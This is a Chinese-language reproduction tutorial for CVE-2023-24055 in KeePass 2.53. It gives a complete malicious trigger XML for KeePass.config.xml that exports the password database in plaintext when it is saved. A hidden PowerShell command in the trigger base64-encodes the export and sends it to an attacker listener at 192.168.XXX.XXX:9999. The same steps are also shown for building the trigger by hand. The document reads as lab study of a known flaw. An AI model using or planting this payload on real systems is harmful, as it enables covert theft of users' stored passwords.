一、漏洞描述
漏洞简述
KeePass 是一款免费的开源密码管理器，可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中，该数据库由一把万能钥匙锁定。因此，您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法（AES-256、ChaCha20 和 Twofish）进行加密。
对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器，例如通过添加导出触发器来获取明文密码。
漏洞影响范围
供应商： KeePass 产品： KeePass Password Safe 2 确认受影响版本： KeePass 2.53版本 修复版本： KeePass 2.53.1版本
二、漏洞复现实战
环境搭建
KeePass数据库下载链接
1、右键单击以管理身份运行，注意默认安装只有英文，需要自己下载汉化包
汉化包下载
下载完之后汉化包自行解压
2、安装数据库
3、导入汉化包
将下载的汉化包拖进去选择中文，重启生效
4、新建数据库，默认命名为数据库.kdbx
5、设置管理密码，随便设置个
6、设置用户名，这里我设置的admin123，数据库名称可先不写
漏洞复现
复现攻击
用POC修改配置文件
1、创建一个触发器，在密码数据库存在交互时进行明文传输。触发器创建主要细分为两步骤： （1）POC写入配置文件
将编写好的POC代码写入KeePass.config.xml（配置文件），须符合触发器XML格式。（将poc中数据库的导出路径和攻击者的接收路径更改一下后，直接覆盖原KeePass.config.xml配置文件位置（数据库安装目录）即可）
小建议如下图：复现之前先将相关参数用记事本写下，方便利用
需要修改三处
POC编写代码如下
利用powershell以GET方式传输数据库中密码文件。
<TriggerSystem>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\你自己本地的路径数字\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\同上\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:9999（kali的本机地址和监听端口，可用ifconfig查看）/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerSystem>
保存KeePass.config.xml文件，触发器功能查看exploit触发器
手工创建触发器
点击工具——触发器
点击添加
1、属性项：命名为exploit，其余默认配置
2、事件项：选择“已保存数据库文件（Saved database file）”，判断条件选“相等（Equals）”
点击完成，添加成功
3、动作项：
（1）导出当前数据库
文件路径为明文传输路径
C:\Users\本地路径对应数字\AppData\Local\Temp\exploit.xml
文件格式选择 KeePass XML (2.x)
对应配置文件位置
<Parameter>C:\Users\本地路径对应数字\AppData\Local\Temp\exploit.xml</Parameter>
（2）执行命令行/URL 文件路径为PowerShell.exe，使触发器执行PowerShell
参数选择攻击接收的路径
窗口方式选择隐藏（Hidden）
对应配置文件
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\同上\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:9999（kali的本机地址和监听端口，可用ifconfig查看）/$var -Method GET </Parameter>
全部添加完之后如图显示：
点击完成，登录攻击机。
攻击复现
打开攻击机（我用的kali），开启web服务，监听对应的9999端口，用于接收传输后的密码明文：
回到数据库靶机，右键添加记录
标题任意，点击确定，然后Ctrl+S保存，会提示输入密码，直接输入就行了
然后我们接着去我们kali攻击机看，发现有base64数据显示
base64加解密
解码后可以看到相关信息
在靶机的C:\Users\本地路径对应数字\AppData\Local\Temp目录中也可看到poc生成的数据库备份文件：
至此我们的CVE-2023-24055漏洞复现全部结束！
评论区